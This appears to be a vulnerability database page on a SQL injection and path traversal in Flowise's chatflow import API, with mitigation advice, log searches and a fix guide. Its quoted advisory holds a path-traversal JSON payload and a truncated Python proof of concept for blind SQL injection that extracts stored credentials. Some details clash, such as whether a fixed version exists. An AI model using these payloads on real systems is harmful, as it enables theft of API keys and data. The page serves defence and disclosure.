Flowise can run harmful database commands when importing chatflow files

HighSE Fix-First Score 43/100CVE-2025-71332SE-AIV-01631Injection into a database or queryAI apps and chat interfacesMade public 8 Apr 2025

Download as PDF

What this means

An attacker with login access can upload a malicious chatflow file that runs commands inside the database, letting them read sensitive data, change or delete chatflows, or take over the system. This affects any company using Flowise to build and run AI agents.

SecurityElites Manager Brief: the decision in one minute

Flowise does not check the content of chatflow files before using them in database commands. Any logged-in user can upload a file designed to inject SQL commands and read or change data. You need to upgrade or stop using the import feature until this is fixed.

SecurityElites Fix-First Score43 of 100
Our own ranking of what to fix first. Real attacks count most, then the chance of attack, then severity.
SecurityElites fix windowWithin 30 days
High severity. This is our suggestion from common practice; your own policy comes first.
Who should own the fixPlatform engineering or DevOps team
Likely effortAbout 30 minutes to apply the fix when available, or a few hours to implement input checks yourself if you need a workaround. Waiting for the maintainers to release a fixed version may take longer.

Questions to ask your team or supplier

  • Does your team import chatflow files from anywhere outside your control, and if so, can you trace where those files come from?
  • Have you set up any monitoring or alerts to catch unusual database queries or failed imports that might indicate an attack?
  • What is your plan to apply the security patch once Flowise releases a fixed version, and how will you test it before rolling out to production?

Message you can forward to the owning team

Security notice: Flowise can run harmful database commands when importing chatflow files (CVE-2025-71332)

Severity: High
SecurityElites Fix-First Score: 43 of 100
SecurityElites fix window: Within 30 days
Action: no fixed version is listed yet; apply the risk-reduction steps and watch the vendor advisory.
What we need from you: confirm whether we run this software, who owns it, and the date it will be fixed.
Full guide: https://securityelites.com/ai-vulnerabilities/cve-2025-71332-flowise-can-run-harmful-database-commands-when-importing-chatflow/
Source: SecurityElites AI Vulnerabilities Database, record SE-AIV-01631

What is at stake in your AI setup

  • Chatflow definitions: an attacker could read, modify, or delete the AI workflows you have built, disrupting your services.
  • Tools and integrations: an attacker could change which external systems the AI agents can access, potentially redirecting them to malicious endpoints.
  • API keys and secrets: an attacker could extract keys stored in the Flowise database to access external AI services and run up your bill or steal data.
  • Chat history and training data: an attacker could read conversations and data used to train or refine your models.

Map where your company uses AI

Who is exposed

  • Teams running Flowise 2.2.7 or earlier with the import feature enabled
  • Systems where multiple users have login access to Flowise
  • Deployments that import chatflow files from untrusted sources or colleagues
  • Any Flowise instance connected to important databases or AI tools

Upgrades you need

SoftwareAffected versionsMove to
flowise
npm
Every version up to and including 2.2.7No fixed version recorded. Follow the steps below.

The fixed version here was taken from the GitHub security advisory, because the national database has not listed it yet.

Am I affected?

Enter the version you run. Nothing you type is stored.

SecurityElites Developer Brief: the technical picture

Is it being attackedWorking attack code is public, so expect attacks to follow
Where the attacker must beAnywhere that can reach it over a network, including the internet if it is exposed
Account neededAn administrator account
Does a person have to do somethingYes. Someone has to click, open or approve something
How hard it is to doEasy. It works reliably once the attacker can reach it
Risk of: data being readLimited
Risk of: data or settings being changedLimited
Risk of: the service being taken downLimited
Can attackers automate it at scaleNo, according to CISA. Each target needs manual work
How much control an attacker gainsTotal control of the affected software, according to CISA

Read from the official severity rating: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Kind of coding mistake

  • CWE-564
  • CWE-89: database queries can be injected

If you cannot upgrade today

  • Disable the import feature by removing or commenting out the import API endpoints in the Flowise server code until a patch is released.
  • Restrict access to the import endpoints to a trusted subset of users by adding authentication checks at your firewall or reverse proxy.
  • Only import chatflow files that you created yourself or that were exported from another trusted Flowise instance; do not import files from external sources.

Signs it may already have been used against you

  • Search logs for POST requests to /api/chatflows/import, /api/tools/import, or /api/variables/import with timestamps when files were uploaded.
  • Look for SQL error messages or unexpected database queries in application logs, especially around the time of imports.
  • Check the chatflow database table for chatflow IDs that look unusual, such as containing path traversal characters (..) or SQL keywords (SELECT, UNION, etc.).
  • Review who has logged in and check whether any imports came from users outside your expected team or at unusual times.

Log searches to start from

Chatflow imports by endpoint (adapt field names for your logs)Elastic

http.request.path: ("/api/chatflows/import" OR "/api/tools/import" OR "/api/variables/import") AND http.request.method: "POST"

Chatflow imports by endpoint (adapt field names for your logs)Splunk

uri IN ("/api/chatflows/import", "/api/tools/import", "/api/variables/import") method=POST

Written with AI as a starting point. Review them and change the index and field names to match your own logs before you rely on the result.

SecurityElites Fix Guide: step by step

  1. Find where Flowise is runningList all servers or containers running Flowise. Check the version by visiting the admin page, looking at package.json files, or running npm list flowise. Note the exact version number.
  2. Check if the import feature is in useAsk your team whether anyone regularly imports chatflow files. Look at the web interface to see if there is an import button for chatflows, tools, or variables. If nobody uses it, you can disable it.
  3. Review recent importsCheck logs or audit records to see when chatflow files were imported and who imported them. If anyone imported files from outside your team, treat those as potentially compromised.
  4. Disable the import feature as a temporary measureIf your team can work without importing chatflows, remove or hide the import buttons in the web interface, or block the import API endpoints at your firewall or reverse proxy. This stops the attack until a fix is available.
  5. Back up your database before upgradingExport your chatflows, tools, and configuration to a safe location. If anything goes wrong during the upgrade, you can restore from backup.
  6. Upgrade when a fixed version is availableWatch the Flowise GitHub repository or release notes for a patched version that fixes CVE-2025-71332. When released, follow the upgrade instructions for your deployment method (npm, Docker, etc.). Test the upgrade in a staging environment first.
  7. Verify the fix is in placeAfter upgrading, confirm the new version number is running by checking the admin page or running npm list flowise. Test that the import feature still works for valid files if you re-enable it.
  8. Re-enable the import feature if you disabled itIf you disabled the import feature, turn it back on after confirming the upgrade was successful. Brief your team on the fix and remind them not to import files from untrusted sources.

How to confirm it is fixed: Check that the installed Flowise version is higher than 2.2.7 by running npm list flowise or checking the admin page; when a fixed version is available, confirm it is installed and that importing a test chatflow file still works.

SecurityElites Quick Fixes: copy and paste

Check installed Flowise version (npm)for this issue

npm list flowise

Check installed Flowise version (package.json)for this issue

grep '"flowise"' package.json

Pass values as parameters (Python)general hardening

cur.execute("SELECT * FROM items WHERE id = %s", (item_id,))

Test in a non-production environment first. General hardening examples use placeholder names and ports; change them to match your setup.

SecurityElites Incident Drill: could your team handle this?

Four questions to ask in your next team meeting. If any has no clear answer, that is the gap to close.

What is the main risk if someone logs into Flowise and uploads a malicious chatflow file?A good answer: They can inject SQL commands that read, change, or delete data in the Flowise database, including other chatflows and stored secrets.
How would you know if Flowise was attacked using this vulnerability?A good answer: Look for imports with unusual chatflow IDs containing .., SQL keywords, or quotes, and check database logs for unexpected queries around the time of the import.
What should you do if you cannot upgrade Flowise right away?A good answer: Disable the import feature at the network or application level, restrict who can access it, and only import files you created yourself.
Why is this a problem even though it requires the attacker to be logged in?A good answer: An attacker with any login account can inject SQL, and they may be a contractor, former employee, or someone who stole credentials; they should not be able to access the database directly.

Run a full timed drill with your team

Ticket for your backlog

Paste into Jira, GitHub Issues or any tracker that reads Markdown.

Ready-made ticket

## Flowise can run harmful database commands when importing chatflow files (CVE-2025-71332)

**Severity:** High  |  **SE Fix-First Score:** 43/100  |  **Fix window:** Within 30 days
**Record:** SE-AIV-01631 https://securityelites.com/ai-vulnerabilities/cve-2025-71332-flowise-can-run-harmful-database-commands-when-importing-chatflow/

### Why this matters
An attacker with login access can upload a malicious chatflow file that runs commands inside the database, letting them read sensitive data, change or delete chatflows, or take over the system. This affects any company using Flowise to build and run AI agents.

### What to do
1. Find where Flowise is running
2. Check if the import feature is in use
3. Review recent imports
4. Disable the import feature as a temporary measure
5. Back up your database before upgrading
6. Upgrade when a fixed version is available
7. Verify the fix is in place
8. Re-enable the import feature if you disabled it

Full steps: https://securityelites.com/ai-vulnerabilities/cve-2025-71332-flowise-can-run-harmful-database-commands-when-importing-chatflow/

### Done when
- [ ] The risk-reduction steps are applied and the vendor advisory is being watched for a fixed version
- [ ] Lock files, container images and CI configuration are updated
- [ ] Check that the installed Flowise version is higher than 2.2.7 by running npm list flowise or checking the admin page; when a fixed version is available, confirm it is installed and that importing a test chatflow file still works.
- [ ] Logs were checked for signs of earlier use

SecurityElites Fix Tracker

Record who owns this fix, the date it is due and when it is done, and see everything still open in one list. Free with a SecurityElites account.

Sign in to track this fix

Change history

  • 7 Apr 2025: Made public
  • 3 Dec 2026: Fixed version added, from the vendor's own CVE record
  • 3 Dec 2026: Fixed version added, from the GitHub security advisory
  • 3 Dec 2026: Published
  • 3 Dec 2026: Fixed version added, from the GitHub security advisory

Official record

### Summary import functions are vulnerable. * [importChatflows](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/chatflows/index.ts#L219) * [importTools](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/tools/index.ts#L85) * [importVariables](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/variables/index.ts)### Details **Authenticated user** can call importChatflows API, import json file such as `AllChatflows.json`. but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.**Issue 1 (Bug Type)** 1. Malicious user creates `AllChatflows.json` file by adding `../` and arbitrary path to the chatflow.id of the json file. ```json { "Chatflows": [ { "id": "../../../../../../apikey", "name": "clickme", "flowData": "{}" } ] } ``` 2. Victim download this file, and import this to flowise. 3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.**Issue 2 (Vulnerability Type)** importChatflows API use unsafe SQL Query.```javascript // packages/server/src/services/chatflows/index.ts const importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => { try { const appServer = getRunningExpressApp()// step 1 - check whether file chatflows array is zero if (newChatflows.length == 0) return// step 2 - check whether ids are duplicate in database let ids = '(' let count: number = 0 const lastCount = newChatflows.length - 1 newChatflows.forEach((newChatflow) => { ids += `'${newChatflow.id}'` // <===== user input if (lastCount != count) ids += ',' if (lastCount == count) ids += ')' count += 1 })const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow) .createQueryBuilder('cf') .select('cf.id') .where(`cf.id IN ${ids}`) // <===== here .getMany() const foundIds = selectResponse.map((response) => { return response.id }) ``` It changes like `SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}')` by the code above. When `') {Malicious SQL Query} --` is passed to newChatflow.id, SQL Injection occurs.### PoC ```python import argparse import requestsdef import_chatflows( url: str, token: str, payload: dict ): response = requests.post( f'{url}/api/v1/chatflows/importchatflows', headers={ 'Authorization': f'Bearer {token}' # 'Authorization': f'Basic {token}' }, json=payload )return response.json()def import_normal_data( api_url: str, token: str, normal_data: str ): data_id = 'aaaaaa'payload = { "Chatflows": [ { "id": data_id, "name": normal_data, "flowData": "{}" } ] }import_chatflows( url=api_url, token=token, payload=payload ) return data_iddef get_character( api_url: str, token: str, data_id: str, column_name: str, index: int ): injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)'def create_payload( c: int ): return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "chatflows_json = { "Chatflows": [ { "id": "", "name": data_id, "flowData": "{}" } ] }bitbox = [ 64, 32, 16, 8, 4, 2, 1 ] character = 0 for bit in bitbox: payload = create_payload(c=character + bit) chatflows_json['Chatflows'][0]['id'] = payloadres = import_chatflows( url=api_url,

Weakness type: CWE-564, CWE-89

Use this record in your own tools

Get this record as JSON

curl https://securityelites.com/wp-json/se-aivd/v1/vulns/CVE-2025-71332

For scanners and pipelines: OSV format · CycloneDX format · API guide · Email alerts · Fix tracker

The plain-language sections were written with AI from the official record, and the upgrade versions come directly from the official data. Last updated 3 Dec 2026. Read the vendor advisory before changing a production system.